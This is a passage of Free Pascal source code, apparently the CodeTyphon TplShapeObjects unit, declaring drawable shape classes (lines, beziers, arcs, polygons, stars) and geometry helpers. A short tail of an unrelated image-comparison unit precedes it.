Res[2].ByPixels := CmpImages(X1, Image2Info.X2_180);
Res[1].ByPixels := CmpImages(X1, Image2Info.X2_270);
end;
Rotate := 0;
Result.ByPixels := Res[0].ByPixels;
if FSpsearch_ScanFileRotate then
for I := 0 to 3 do
begin
if Res[I].ByPixels > Result.ByPixels then
begin
Result.ByPixels := Res[I].ByPixels;
Rotate := I;
end;
end;
end;
end.
|
{**********************************************************************
Package pl_Shapes.pkg
This unit is part of CodeTyphon Studio (http://www.pilotlogic.com/)
***********************************************************************}
unit TplShapeObjects;
interface
uses
SysUtils, Classes, LMessages, Controls, Graphics, Math,
Forms, TypInfo, Dialogs, TplShapeObjectsBase,BGRABitmap,BGRABitmapTypes,
BGRACanvas;
type
TFontOutLine = (foNone, foClear, foColored);
TplLine = class(TplConnector)
protected
fArrowSize: Cardinal;
fArrowFill: Boolean;
procedure SetArrowSize(const Val:Cardinal);
procedure SetArrowFill(const Val:Boolean);
procedure DrawObject(aCanvas: TbgraCanvas; IsShadow: boolean); override;
procedure SetButtonCount(Count: integer); override;
public
constructor Create(AOwner: TComponent); override;
function Grow(TopEnd: boolean = False): boolean; override;
function Shrink(TopEnd: boolean = False): boolean; override;
published
property ArrowSize: cardinal read fArrowSize write SetArrowSize;
property ArrowFill: boolean read fArrowFill write SetArrowFill;
end;
TplZLine = class(TplConnector)
private
fAutoCenter: boolean;
fArrowSize: Cardinal;
fArrowFill: Boolean;
procedure SetArrowSize(const Val:Cardinal);
procedure SetArrowFill(const Val:Boolean);
procedure SetAutoCenter(AutoCenter: boolean);
protected
procedure DrawObject(aCanvas: TbgraCanvas; IsShadow: boolean); override;
procedure InternalBtnMove(BtnIdx: integer; NewPt: TPoint); override;
procedure UpdateNonEndButtonsAfterBtnMove; override;
procedure DoQuadPtConnection; override;
procedure DrawBtn(BtnPt: TPoint; index: integer; Pressed, LastBtn: boolean); override;
procedure SaveToPropStrings; override;
public
constructor Create(AOwner: TComponent); override;
function IsValidBtnDown(BtnIdx: integer): boolean; override;
procedure Rotate(degrees: integer); override;
published
property AutoCenter: boolean read fAutoCenter write SetAutoCenter;
property ArrowSize: cardinal read fArrowSize write SetArrowSize;
property ArrowFill: boolean read fArrowFill write SetArrowFill;
property AutoOrientation;
property Orientation;
end;
TplLLine = class(TplConnector)
protected
fArrowSize: Cardinal;
fArrowFill: Boolean;
procedure SetArrowSize(const Val:Cardinal);
procedure SetArrowFill(const Val:Boolean);
procedure DrawObject(aCanvas: TbgraCanvas; IsShadow: boolean); override;
procedure SaveToPropStrings; override;
procedure DoQuadPtConnection; override;
public
constructor Create(AOwner: TComponent); override;
procedure Rotate(degrees: integer); override;
published
property ArrowSize: cardinal read fArrowSize write SetArrowSize;
property ArrowFill: boolean read fArrowFill write SetArrowFill;
property Orientation;
end;
TplBezier = class(TplConnector)
private
fSmooth: boolean;
fFilled: boolean;
fArrowSize: Cardinal;
fArrowFill: Boolean;
procedure SetArrowSize(const Val:Cardinal);
procedure SetArrowFill(const Val:Boolean);
protected
procedure SetFilled(isFilled: boolean); virtual;
procedure SetArrow1(Arrow: boolean); override;
procedure SetArrow2(Arrow: boolean); override;
procedure SetButtonCount(Count: integer); override;
procedure DrawControlLines; override;
procedure DrawObject(aCanvas: TbgraCanvas; IsShadow: boolean); override;
procedure InternalBtnMove(BtnIdx: integer; NewPt: TPoint); override;
procedure UpdateConnectionPoints(MovingConnection: TplSolid); override;
procedure SaveToPropStrings; override;
public
constructor Create(AOwner: TComponent); override;
function Grow(TopEnd: boolean = False): boolean; override;
function Shrink(TopEnd: boolean = False): boolean; override;
published
property Filled: boolean read fFilled write SetFilled;
property Smooth: boolean read fSmooth write fSmooth default True;
property ArrowSize: cardinal read fArrowSize write SetArrowSize;
property ArrowFill: boolean read fArrowFill write SetArrowFill;
end;
TplSolidBezier = class(TplBezier)
private
fBorder: integer;
procedure SetNoConnection(Connection: TplSolid);
function GetNoConnection: TplSolid;
procedure SetBorder(border: integer);
protected
procedure SetFilled(isFilled: boolean); override;
procedure SetArrow1(Arrow: boolean); override;
procedure SetArrow2(Arrow: boolean); override;
procedure SetUseHitTest(Value: boolean); override;
procedure DrawObject(aCanvas: TbgraCanvas; IsShadow: boolean); override;
procedure SaveToPropStrings; override;
public
constructor Create(AOwner: TComponent); override;
procedure Mirror;
procedure Flip;
published
property Connection1: TplSolid read GetNoConnection write SetNoConnection;
property Connection2: TplSolid read GetNoConnection write SetNoConnection;
property BorderWidth: integer read fBorder write SetBorder;
end;
TplTextBezier = class(TplBezier)
private
fText: string;
fOuTplLine: TFontOutLine;
procedure SetNoConnection(Connection: TplSolid);
function GetNoConnection: TplSolid;
procedure SetText(const aText: string);
procedure SetOuTplLine(OuTplLine: TFontOutLine);
procedure CMFontChanged(var Message: TLMessage); message CM_FONTCHANGED;
protected
procedure CalcMargin; override;
procedure SetFilled(isFilled: boolean); override;
procedure SetArrow1(Arrow: boolean); override;
procedure SetArrow2(Arrow: boolean); override;
procedure SetUseHitTest(Value: boolean); override;
procedure DrawObject(aCanvas: TbgraCanvas; IsShadow: boolean); override;
procedure SaveToPropStrings; override;
public
constructor Create(AOwner: TComponent); override;
published
property Connection1: TplSolid read GetNoConnection write SetNoConnection;
property Connection2: TplSolid read GetNoConnection write SetNoConnection;
property Text: string read fText write SetText;
property Font;
property OuTplLine: TFontOutLine read fOuTplLine write SetOuTplLine;
property ParentFont;
end;
TplArc = class(TplSolid)
private
fAngle1: integer;
fAngle2: integer;
fRegular: boolean;
fCurrRotAngle: integer;
procedure SetAngle1(ang1: integer);
procedure SetAngle2(ang2: integer);
procedure SetRegular(Value: boolean);
protected
procedure DrawObject(aCanvas: TbgraCanvas; IsShadow: boolean); override;
procedure InternalBtnMove(BtnIdx: integer; NewPt: TPoint); override;
procedure SaveToPropStrings; override;
public
constructor Create(AOwner: TComponent); override;
procedure BeginTransform; override;
procedure Rotate(degrees: integer); override;
published
property Angle1: integer read fAngle1 write SetAngle1;
property Angle2: integer read fAngle2 write SetAngle2;
property Regular: boolean read fRegular write SetRegular;
end;
TplDrawPicture = class(TplSolid)
private
//fPic: TBitmap;
fpic:TBGRABitmap;
fStretch: boolean;
fTransparent: boolean;
fTightConnections: boolean;
procedure SetStretch(Stretch: boolean);
procedure SetTransparent(Transparent: boolean);
procedure SetTightConnections(Value: boolean);
procedure LoadPicFromDataStream;
function GetAngle: integer;
procedure SetAngle(angle: integer);
protected
procedure DrawObject(aCanvas: TbgraCanvas; IsShadow: boolean); override;
procedure SaveToPropStrings; override;
procedure BinaryDataLoaded; override;
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
function IsValidBtnDown(BtnIdx: integer): boolean; override;
function ClosestScreenPt(FromScreenPt: TPoint): TPoint; override;
procedure LoadPicFromFile(const filename: string);
procedure SavePicToFile(const filename: string);
function MergeDrawObjImage(DrawObj: TplDrawObject; TransparentClr: TColor): boolean;
procedure Rotate(degrees: integer); override;
published
property Angle: integer read GetAngle write SetAngle;
property Stretch: boolean read fStretch write SetStretch;
property Transparent: boolean read fTransparent write SetTransparent;
property TightConnections: boolean read fTightConnections write SetTightConnections;
end;
TplSolidPoint = class(TplSolid)
protected
procedure CalcMargin; override;
procedure AddConnector(Connector: TplConnector); override;
procedure DrawObject(aCanvas: TbgraCanvas; IsShadow: boolean); override;
public
constructor Create(AOwner: TComponent); override;
end;
TplDiamond = class(TplSolidWithText)
private
procedure SeTplDiamondPts;
protected
procedure DrawStringsInDiamond(aCanvas: TbgraCanvas; aStrings: TStrings);
procedure InternalBtnMove(BtnIdx: integer; NewPt: TPoint); override;
procedure DrawObject(aCanvas: TbgraCanvas; IsShadow: boolean); override;
public
constructor Create(AOwner: TComponent); override;
function ClosestScreenPt(FromScreenPt: TPoint): TPoint; override;
function ResizeObjectToFitText: boolean; override;
procedure Rotate(degrees: integer); override;
end;
TplRectangle = class(TplSolidWithText)
private
fCentered: boolean;
fRounded: boolean;
procedure SetCentered(Centered: boolean);
procedure SetRounded(Rounded: boolean);
procedure SeTplRectanglePts;
protected
procedure DrawStringsInRect(aCanvas: TbgraCanvas; aStrings: TStrings);
procedure InternalBtnMove(BtnIdx: integer; NewPt: TPoint); override;
procedure DrawObject(aCanvas: TbgraCanvas; IsShadow: boolean); override;
procedure SaveToPropStrings; override;
public
constructor Create(AOwner: TComponent); override;
function ClosestScreenPt(FromScreenPt: TPoint): TPoint; override;
function ResizeObjectToFitText: boolean; override;
procedure Rotate(degrees: integer); override;
published
property Centered: boolean read fCentered write SetCentered default True;
property Rounded: boolean read fRounded write SetRounded default False;
end;
TplText = class(TplRectangle)
private
function GetStrings: TStrings;
procedure SetStrings(astrings: TStrings);
protected
procedure DrawObject(aCanvas: TbgraCanvas; IsShadow: boolean); override;
public
constructor Create(AOwner: TComponent); override;
published
property Strings: TStrings read GetStrings write SetStrings;
end;
TplEllipse = class(TplSolidWithText)
private
fBalloonPoint: TBalloonPoint;
fRegular: boolean;
procedure SetBalloonPoint(BalloonPoint: TBalloonPoint);
procedure SetRegular(Value: boolean);
protected
procedure SetAngle(aangle: integer); override;
procedure DrawStringsInEllipse(acanvas: TbgraCanvas; aStrings: TStrings);
procedure SeTplBezierButtons;
procedure SaveToPropStrings; override;
procedure InternalBtnMove(BtnIdx: integer; NewPt: TPoint); override;
public
procedure DrawObject(aCanvas: TbgraCanvas; IsShadow: boolean); override; //by zbyna
constructor Create(AOwner: TComponent); override;
function ClosestScreenPt(FromScreenPt: TPoint): TPoint; override;
function ResizeObjectToFiTText: boolean; override;
procedure Rotate(degrees: integer); override;
published
property BalloonPoint: TBalloonPoint read fBalloonPoint write SetBalloonPoint;
property Regular: boolean read fRegular write SetRegular;
end;
{ TplPolygon }
TplPolygon = class(TplSolid)
private
fPlainPoly: boolean;
procedure SetPlainPoly(isPlainPoly: boolean);
protected
procedure InitializePoints; virtual;
function GetButtonCount: integer;
procedure SetButtonCount(Count: integer); virtual;
procedure SaveToPropStrings; override;
procedure InternalBtnMove(BtnIdx: integer; NewPt: TPoint); override;
function IsValidBtnDown(BtnIdx: integer): boolean; override;
public
constructor Create(AOwner: TComponent); override;
procedure DrawObject(aCanvas: TbgraCanvas; IsShadow: boolean); override;
function ClosestScreenPt(FromScreenPt: TPoint): TPoint; override;
procedure DuplicateButton(btnIdx: integer); virtual;
procedure RemoveButton(btnIdx: integer); virtual;
procedure Mirror;
procedure Flip;
published
property ButtonCount: integer read GetButtonCount write SetButtonCount;
property Regular: boolean read fPlainPoly write SetPlainPoly;
end;
{ TplSolidArrow }
TplSolidArrow = class(TplSolid)
private
fWasRotated: boolean;
protected
procedure InternalBtnMove(BtnIdx: integer; NewPt: TPoint); override;
public
constructor Create(AOwner: TComponent); override;
procedure DrawObject(aCanvas: TbgraCanvas; IsShadow: boolean); override;
procedure Rotate(degrees: integer); override;
end;
TplRandomPoly = class(TplPolygon)
protected
procedure InitializePoints; override;
procedure SetButtonCount(Count: integer); override;
public
procedure Randomize;
end;
TplStar = class(TplPolygon)
private
fMidPtInScreenCoords: TPoint;
fBoringStar: boolean;
procedure SetBoringStar(BoringStar: boolean);
procedure SetPointsAroundCirc(StartPtIdx: integer; NewPt: TPoint);
protected
procedure MouseDown(Button: TMouseButton; Shift: TShiftState; X, Y: integer); override;
procedure InternalBtnMove(BtnIdx: integer; NewPt: TPoint); override;
procedure InitializePoints; override;
procedure SetButtonCount(Count: integer); override;
public
constructor Create(AOwner: TComponent); override;
procedure DuplicateButton(btnIdx: integer); override;
procedure RemoveButton(btnIdx: integer); override;
published
property Regular: boolean read fBoringStar write SetBoringStar;
end;
implementation
uses Types, LCLType;
var
fDummyStrings: TStrings;
function dummyStrings: TStrings;
begin
if not assigned(fDummyStrings) then
begin
fDummyStrings := TStringList.Create;
fDummyStrings.Add('Text Object'); //otherwise TplText object becomes invisible
end;
Result := fDummyStrings;
end;
// =============== Miscellaneous functions ==================================
procedure RegisterDrawObjClasses;
begin
RegisterClasses([TplLine, TplLLine, TplZLine, TplBezier, TplSolidBezier, TplTextBezier, TplRectangle,
TplDrawPicture, TplDiamond, TplEllipse, TplArc, TplPolygon, TplSolidArrow, TplRandomPoly, TplStar, TplSolidPoint, TplText]);
end;
function ClosestPointIdx(pts: array of TPoint; toPoint: TPoint): integer;
var
i: integer;
resDist, dist: single;
begin
Result := 0;
resDist := SquaredDistBetweenPoints(pts[0], toPoint);
for i := 1 to high(pts) do
begin
dist := SquaredDistBetweenPoints(pts[i], toPoint);
if dist >= resDist then
continue;
resDist := dist;
Result := i;
end;
end;
function APointIsBetweenPts(aPoint, Pt1, Pt2: TPoint): boolean;
begin
Result := False;
if (Pt1.X < Pt2.X) and ((aPoint.X < Pt1.X) or (aPoint.X > Pt2.X)) then
exit;
if (Pt1.X > Pt2.X) and ((aPoint.X > Pt1.X) or (aPoint.X < Pt2.X)) then
exit;
if (Pt1.Y < Pt2.Y) and ((aPoint.Y < Pt1.Y) or (aPoint.Y > Pt2.Y)) then
exit;
if (Pt1.Y > Pt2.Y) and ((aPoint.Y > Pt1.Y) or (aPoint.Y < Pt2.Y)) then
exit;
Result := True;
end;
function GeTplBezierPt(const u: single; pts: array of TPoint): TPoint;
var
i: integer;
sx, sy: single;
begin
if high(pts) < 0 then
Result := Point(0, 0)
else if u <= 0 then
Result := pts[0]
else if u >= 1 then
Result := pts[high(pts)]
else
begin
sx := pts[0].X * power(1 - u, high(pts)) + pts[high(pts)].X * power(u, high(pts));
for i := 1 to high(pts) - 1 do
sx := sx + pts[i].X * power(u, i) * power(1 - u, high(pts) - i) * high(pts);
sy := pts[0].Y * power(1 - u, high(pts)) + pts[high(pts)].Y * power(u, high(pts));
for i := 1 to high(pts) - 1 do
sy := sy + pts[i].Y * power(u, i) * power(1 - u, high(pts) - i) * high(pts);
Result := Point(round(sx), round(sy));
end;
end;
function GeTplEllipseXValFromYVal(radius_horz, radius_vert, y_offset_in: integer; out x_offset_out: integer): boolean;
begin
//(x/radius_horz)^2 + (y/radius_vert)^2 = 1
//====> x = +/- radius_horz * SQRT(1 - SQR(y/radius_vert))
Result :=
(y_offset_in < radius_vert) and (radius_horz <> 0) and (radius_vert <> 0);
if not Result then
exit;
x_offset_out := round(radius_horz * SQRT(1 - SQR(y_offset_in / radius_vert)));
end;
function GetPtOnEllipseFromAngle(radius_horz, radius_vert: integer; radians_in: single; out point_out: TPoint): boolean;
var
quadrant: integer;
q: single;
begin
//given ellipse x = radius_horz*cos(q) and y = radius_vert*sin(q),
//then q = arctan(radius_horz*tan(angle_in)/radius_vert)
Result := (radius_vert <> 0) and (radians_in >= 0) and (radians_in <= PI_Mul2);
if not Result then
exit;
if radians_in > PI_Mul3_Div2 then
quadrant := 4
else if radians_in > pi then
quadrant := 3
else if radians_in > PI_Div2 then
quadrant := 2
else
quadrant := 1;
q := arctan(radius_horz * tan(radians_in) / radius_vert);
if (quadrant = 1) or (quadrant = 4) then
point_out.X := abs(round(radius_horz * cos(q)))
else
point_out.X := -abs(round(radius_horz * cos(q)));
if (quadrant < 3) then
point_out.Y := -abs(round(radius_vert * sin(q)))
else
point_out.Y := abs(round(radius_vert * sin(q)));
end;
function GetPtOnCircleFromAngle(radius: integer; angle: single): TPoint;
begin
Result.X := round(radius * cos(angle));
Result.Y := -round(radius * sin(angle)); //nb: Y axis is +ve down
end;
function SetPointsAroundCircle(origin: TPoint; radius, Count: integer; var pts: array of TPoint): boolean;
var
i: integer;
angle: single;
begin
Result := Count <= high(pts) + 1;
if not Result or (Count = 0) then
exit;
angle := PI_Mul2 / Count;
for i := 0 to Count - 1 do
pts[i] := GetPtOnCircleFromAngle(radius, i * angle);
//now, offset the points around the origin...
for i := 0 to Count - 1 do
OffsetPt(pts[i], origin.X, origin.Y);
end;
function GetDiagonalOppositePoint(Pt, PtOfRotation: TPoint): TPoint;
begin
Result.X := 2 * PtOfRotation.X - Pt.X;
Result.Y := 2 * PtOfRotation.Y - Pt.Y;
end;
procedure MovePtDiagonalOppositeAnotherPt(var PtToMove: TPoint; Pt, PtOfRotation: TPoint);
var
dist, tmpDist, ratio: single;
begin
//Given Pt, move PtToMove to its diagonally opposite point (about PtOfRotation)
//while maintaining PtToMove the same dist it currently is from PtOfRotation.
dist := sqrt(SquaredDistBetweenPoints(PtToMove, PtOfRotation));
tmpDist := sqrt(SquaredDistBetweenPoints(Pt, PtOfRotation));
if tmpDist = 0 then
exit; //ie: don't move it
PtToMove := GetDiagonalOppositePoint(Pt, PtOfRotation);
//now, move result to previous distance ...
ratio := dist / tmpDist;
with PtOfRotation do
OffsetPt(PtToMove, -X, -Y);
PtToMove.X := round(PtToMove.X * ratio);
PtToMove.Y := round(PtToMove.Y * ratio);
with PtOfRotation do
OffsetPt(PtToMove, X, Y);
end;
function DistanceBetween2Pts(pt1, pt2: TPoint): single;
begin
Result := sqrt((pt1.X - pt2.X) * (pt1.X - pt2.X) + (pt1.Y - pt2.Y) * (pt1.Y - pt2.Y));
end;
function GetPtAtDistAndAngleFromPt(pt: TPoint; dist: integer; angle: single): TPoint;
begin
Result.X := round(dist * cos(angle));
Result.Y := -round(dist * sin(angle)); //nb: Y axis is +ve down
OffsetPt(Result, pt.X, pt.Y);
end;
function PtBetween2Pts(pt1, pt2: TPoint; relativeDistFRomPt1: single): TPoint;
begin
if pt2.X = pt1.X then
Result.X := pt2.X
else
Result.X := pt1.X + round((pt2.X - pt1.X) * relativeDistFRomPt1);
if pt2.Y = pt1.Y then
Result.Y := pt2.Y
else
Result.Y := pt1.Y + round((pt2.Y - pt1.Y) * relativeDistFRomPt1);
end;
procedure AngledCharOut(Canvas: TbgraCanvas; pt: TPoint; c: char; radians: single; offsetX, offsetY: integer; ouTplLine: TFontOutLine);
var
lf: TLogFont;
OldFontHdl, NewFontHdl: HFont;
angle: integer;
begin
assert(False, 'not implemented in portable code!');
angle := round(radians * 180 / PI);
if angle > 180 then
angle := angle - 360;
//workaround -
//since textout() without rotation is malaligned relative to rotated text ...
if angle = 0 then
angle := 1;
{ TODO -oTC -cLazarus_Port_Step2 : function GetObject needs to be ported! }
//TCQ: the following does not compile
//with Canvas do
//begin
// if GetObject(Font.Handle, SizeOf(lf), @lf) = 0 then exit;
// lf.lfEscapement := Angle * 10;
// lf.lfOrientation := Angle * 10;
// lf.lfOutPrecision := OUT_TT_ONLY_PRECIS;
// NewFontHdl := CreateFontIndirect(lf);
// OldFontHdl := selectObject(handle,NewFontHdl);
// if offsetX < 0 then
// pt := GetPtAtDistAndAngleFromPt(pt, -offsetX, radians + Pi)
// else if offsetX > 0 then
// pt := GetPtAtDistAndAngleFromPt(pt, offsetX, radians);
// if offsetY < 0 then
// pt := GetPtAtDistAndAngleFromPt(pt, -offsetY, radians + PI_Div2)
// else if offsetY > 0 then
// pt := GetPtAtDistAndAngleFromPt(pt, offsetY, radians - PI_Div2);
// case ouTplLine of
// foNone : TextOut(pt.x, pt.y, c);
// foClear:
// begin
// beginPath(handle);
// TextOut(pt.x, pt.y, c);
// endPath(handle);
// StrokePath(handle);
// end;
// else
// begin
// TextOut(pt.x, pt.y, c);
// beginPath(handle);
// TextOut(pt.x, pt.y, c);
// endPath(handle);
// StrokePath(handle);
// end;
// end;
// selectObject(handle,OldFontHdl);
// DeleteObject(NewFontHdl);
//end;
end;
type
TPoints = array[0.. (maxInt div sizeof(TPoint)) - 1] of TPoint;
PPoints = ^TPoints;
Integers = array[0.. (maxInt div sizeof(integer)) - 1] of integer;
PIntegers = ^Integers;
procedure TextAlongBezier(canvas: TbgraCanvas; bezierPts: array of TPoint; s: string; curveOffset: integer; ouTplLine: TFontOutLine);
var
i, j, ptCnt, sLenPxls, sLen: integer;
currentInsertionDist, charWidthDiv2: integer;
pt: TPoint;
flatPts: PPoints;
types: PByte;
distances: PIntegers;
angle, spcPxls, bezierLen, relativeDistFRomPt1: single;
charWidths: array[#32..#255] of integer;
begin
assert(False, 'not implemented in portable code!');
sLen := length(s);
//make sure there's text and a valid number of bezier points ...
if (sLen = 0) or (high(bezierPts) mod 3 <> 0) then
exit;
{ TODO -oTC -cLazarus_Port_Step2 : function BeginPath needs to be ported! }
//TCQ
//with canvas do
//begin
// BeginPath(handle);
// PolyBezier(bezierPts);
// EndPath(handle);
// FlattenPath(handle);
// if not GetCharWidth32(handle,32,255, charWidths[#32]) then exit;
// //get the number of points needed to define the flattened path ...
// ptCnt := GetPath(handle, flatPts, types, 0);
// if ptCnt < 1 then exit;
// GetMem(flatPts, ptCnt* sizeof(TPoint));
// GetMem(types, ptCnt* sizeof(byte));
// GetMem(distances, ptCnt* sizeof(integer));
// try
// //get the 'flattened' array of points along the bezier path ...
// GetPath(handle, flatPts^, types^, ptCnt);
// //calculate and fill the distances array ...
// distances[0] := 0;
// bezierLen := 0;
// for i := 1 to ptCnt -1 do
// begin
// bezierLen := bezierLen +
// DistanceBetween2Pts(flatPts[i], flatPts[i-1]);
// distances[i] := trunc(bezierLen);
// end;
// //calc length of text in pixels ...
// sLenPxls := 0;
// for i := 1 to sLen do inc(sLenPxls, charWidths[s[i]]);
// //calc extra space between chars to spread string along entire curve ...
// if sLen = 1 then
// spcPxls := 0 else
// spcPxls := (bezierLen - sLenPxls)/(sLen -1);
// //nb: the canvas font color must be assign *before* calling AngledCharOut
// //otherwise the first char will be malaligned ...
// if ouTplLine = foColored then font.Color := Brush.Color
// else if ouTplLine = foClear then brush.Style := bsClear;
// SetBkMode (handle, TRANSPARENT);
// j := 1;
// currentInsertionDist := 0;
// for i := 1 to sLen do
// begin
// //increment currentInsertionDist (half) the width of char to get the
// //slope of the curve at the midpoint of that character ...
// charWidthDiv2 := charWidths[s[i]] div 2;
// inc(currentInsertionDist, charWidthDiv2);
// while (j < ptCnt -1) and (distances[j] < currentInsertionDist) do inc(j);
// if distances[j] = currentInsertionDist then
// pt := flatPts[j]
// else
// begin
// relativeDistFRomPt1 := (currentInsertionDist - distances[j-1]) /
// (distances[j] - distances[j-1]);
// pt := PtBetween2Pts(flatPts[j-1], flatPts[j], relativeDistFRomPt1);
// end;
// angle := GetAnglePt2FromPt1(flatPts[j-1], flatPts[j]);
// AngledCharOut(canvas, pt,
// s[i], angle, -charWidthDiv2, curveOffset, ouTplLine);
// inc(currentInsertionDist,
// charWidthDiv2 + trunc(spcPxls) + round(frac(spcPxls*i)));
// end;
// //debug only - draw just the points ...
// //for i := 0 to ptCnt -1 do with flatPts[i] do
// //begin canvas.moveto(X,Y); canvas.lineto(X+1,Y+1); end;
// //debug only - draw the path from the points ...
// //with flatPts[0] do canvas.moveto(X,Y);
// //for i := 1 to ptCnt -1 do with flatPts[i] do canvas.lineto(X,Y);
// finally
// FreeMem(flatPts);
// FreeMem(types);
// FreeMem(distances);
// end;
//end;
end;
//This DrawArrowHead() function is loosely based on code downloaded from
//http://www.efg2.com/Lab/Library/Delphi/Graphics/Algorithms.htm
procedure DrawArrowHead(aCanvas: TbgraCanvas; FromPoint, ToPoint: TPoint; HeadSize: cardinal; SolidArrowHead: boolean);
var
xbase: integer;
xLineDelta: double;
xLineUnitDelta: double;
xNormalDelta: double;
xNormalUnitDelta: double;
ybase: integer;
yLineDelta: double;
yLineUnitDelta: double;
yNormalDelta: double;
yNormalUnitDelta: double;
SavedBrushColor: TColor;
ArrowDelta: double;
base: TPoint;
savedPenWidth: integer;
begin
//avoid drawing arrows with pen widths > 2 otherwise arrowheads look ugly...
savedPenWidth := aCanvas.Pen.Width;
Inc(HeadSize, 2 * savedPenWidth div 3);
if aCanvas.Pen.Width > 2 then
aCanvas.Pen.Width := 2;
xLineDelta := ToPoint.X - FromPoint.X;
yLineDelta := ToPoint.Y - FromPoint.Y;
if (xLineDelta = 0) and (yLineDelta = 0) then
begin
xLineUnitDelta := 0;
yLineUnitDelta := 0;
xNormalUnitDelta := 0;
yNormalUnitDelta := 0;
end
else
begin
xLineUnitDelta := xLineDelta / hypot(xLineDelta, yLineDelta);
yLineUnitDelta := yLineDelta / hypot(xLineDelta, yLineDelta);
xNormalDelta := yLineDelta;
yNormalDelta := -xLineDelta;
xNormalUnitDelta := xNormalDelta / hypot(xNormalDelta, yNormalDelta);
yNormalUnitDelta := yNormalDelta / hypot(xNormalDelta, yNormalDelta);
end;
ArrowDelta := 7 / 4; // ArrowDelta == 1 result in an ugly boxed arrow
//(xBase, yBase) is where arrow line is perpendicular to base of triangle.
xBase := ToPoint.X - ROUND(HeadSize * xLineUnitDelta * ArrowDelta);
yBase := ToPoint.Y - ROUND(HeadSize * yLineUnitDelta * ArrowDelta);
base := Point(ToPoint.X - ROUND(HeadSize * xLineUnitDelta), ToPoint.Y - ROUND(HeadSize * yLineUnitDelta));
if SolidArrowHead then
begin
SavedBrushColor := aCanvas.Brush.Color;
aCanvas.Brush.Color := aCanvas.Pen.Color;
aCanvas.Polygon([ToPoint, Point(xBase + ROUND(HeadSize * xNormalUnitDelta), yBase + ROUND(HeadSize * yNormalUnitDelta)),
base, Point(xBase - ROUND(HeadSize * xNormalUnitDelta), yBase - ROUND(HeadSize * yNormalUnitDelta))]);
aCanvas.Brush.Color := SavedBrushColor;
end
else
aCanvas.PolyLine([Point(xBase + ROUND(HeadSize * xNormalUnitDelta), yBase + ROUND(HeadSize * yNormalUnitDelta)),
ToPoint, Point(xBase - ROUND(HeadSize * xNormalUnitDelta), yBase - ROUND(HeadSize * yNormalUnitDelta))]);
aCanvas.Pen.Width := savedPenWidth;
end;
function ArrowBase(FromPoint, ToPoint: TPoint; HeadSize: cardinal): TPoint;
var
xLen: integer;
xLenPxRatio: double;
yLen: integer;
yLenPxRatio: double;
hypotenuse: double;
begin
xLen := ToPoint.X - FromPoint.X;
yLen := ToPoint.Y - FromPoint.Y;
if (xLen = 0) and (yLen = 0) then
begin
xLenPxRatio := 0;
yLenPxRatio := 0;
end
else
begin
hypotenuse := hypot(xLen, yLen);
//for every virtual pixel moved along the hypotenuse,
//how much does the x & y coords change ...
xLenPxRatio := xLen / hypotenuse;
yLenPxRatio := yLen / hypotenuse;
end;
//'Base' is where the line intersects the base of the arrow triangle.
Result.X := ToPoint.X - ROUND(HeadSize * xLenPxRatio);
Result.Y := ToPoint.Y - ROUND(HeadSize * yLenPxRatio);
end;
{ TODO -oTC -cLazarus_Port_Step2 : gdi32 is specific to Windows. Not used. }
{ TODO -oTC -cLazarus_Port_Step2 : find a linux replacement for GeTplTextExtentExPoint }
// TCQ
////This declaration modifies Delphi's declaration of GeTplTextExtentExPoint
////so that the variable to receive partial string extents (p6) is ignored ...
//function GeTplTextExtentExPointNoPartials(DC: HDC; p2: PAnsiChar; p3, p4: Integer;
// var p5: Integer; const p6: integer; var p7: TSize): BOOL; stdcall;
// external gdi32 name 'GeTplTextExtentExPointA';
//TrimLine: Splits off from LS any characters beyond the allowed width
//breaking at the end of a word if possible. Leftover chars -> RS.
procedure TrimLine(canvas: TbgraCanvas; var ls: string; out rs: string; LineWidthInPxls: integer);
var
i, len, NumCharWhichFit: integer;
dummy: TSize;
begin
if ls = '' then
exit;
len := length(ls);
{ TODO -oTC -cLazarus_Port_Step2 : find a linux replacement for GeTplTextExtentExPoint }
//TCQ
////get the number of characters which will fit within LineWidth...
//if not GeTplTextExtentExPoint(canvas.handle,
// pchar(ls),len,LineWidthInPxls,NumCharWhichFit,0,dummy) then
// begin
// ls := '';
// rs := '';
// exit; //oops!!
// end;
//TCQ replaced by
NumCharWhichFit := len;
if NumCharWhichFit = len then
exit //if everything fits then stop here
else if NumCharWhichFit = 0 then
begin
rs := ls;
ls := '';
end
else
begin
i := NumCharWhichFit;
//find the end of the last whole word which will fit...
while (NumCharWhichFit > 0) and (ls[NumCharWhichFit] > ' ') do
Dec(NumCharWhichFit);
if (NumCharWhichFit = 0) then
NumCharWhichFit := i;
i := NumCharWhichFit + 1;
//ignore trailing blanks in LS...
while (ls[NumCharWhichFit] = ' ') do
Dec(NumCharWhichFit);
//ignore beginning blanks in RS...
while (i < len) and (ls[i] = ' ') do
Inc(i);
rs := copy(ls, i, len);
ls := copy(ls, 1, NumCharWhichFit); //nb: assign ls AFTER rs here
end;
end;
(* RotateBitmap() function - (c) har*GIS L.L.C., 1999
You are free to use this in any way, but please retain this comment block.
Please email questions to jim@har-gis.com .
Doc & Updates: http://www.efg2.com/Lab/ImageProcessing/RotateScanline.htm and
http://www.efg2.com/Lab/Library/Delphi/Graphics/JimHargis_RotateBitMap.zip *)
type
SiCoDiType = record
si, co, di: single; {sine, cosine, distance}
end;
{ Calculate sine/cosine/distance from INTEGER coordinates}
function SiCoDiPoint(const p1, p2: TPoint): SiCoDiType;
var
dx, dy: integer;
begin
dx := (p2.x - p1.x);
dy := (p2.y - p1.y);
with Result do
begin
di := HYPOT(dx, dy); //di := Sqrt( dx * dx + dy * dy );
if abs(di) < 1 then
begin
si := 0.0;
co := 1.0;
end //Zero length line
else
begin
si := dy / di;
co := dx / di;
end;
end;
end;
//Rotate a bitmap about an arbritray center point;
procedure RotateBitmap(const BitmapOriginal: TbgraBitMap;//input bitmap (possibly converted)
out BitMapRotated: TbgraBitMap; //output bitmap
const theta: single; // rotn angle in radians counterclockwise in windows
const oldAxis: TPOINT; // center of rotation in pixels, rel to bmp origin
var newAxis: TPOINT); // center of rotated bitmap, relative to bmp origin
var
cosTheta: single; {in windows}
sinTheta: single;
i: integer;
iOriginal: integer;
iPrime: integer;
// iPrimeRotated : INTEGER; use width if doubled
j: integer;
jOriginal: integer;
jPrime: integer;
// jPrimeRotated : INTEGER; use height if doubled
NewWidth, NewHeight: integer;
nBytes, nBits: integer;//no. bytes per pixelformat
Oht, Owi, Rht, Rwi: integer;//Original and Rotated subscripts to bottom/right
//The variant pixel formats for subscripting 1/6/00
type // from Delphi
TRGBTripleArray = array [0..32767] of TRGBTriple; //allow integer subscript
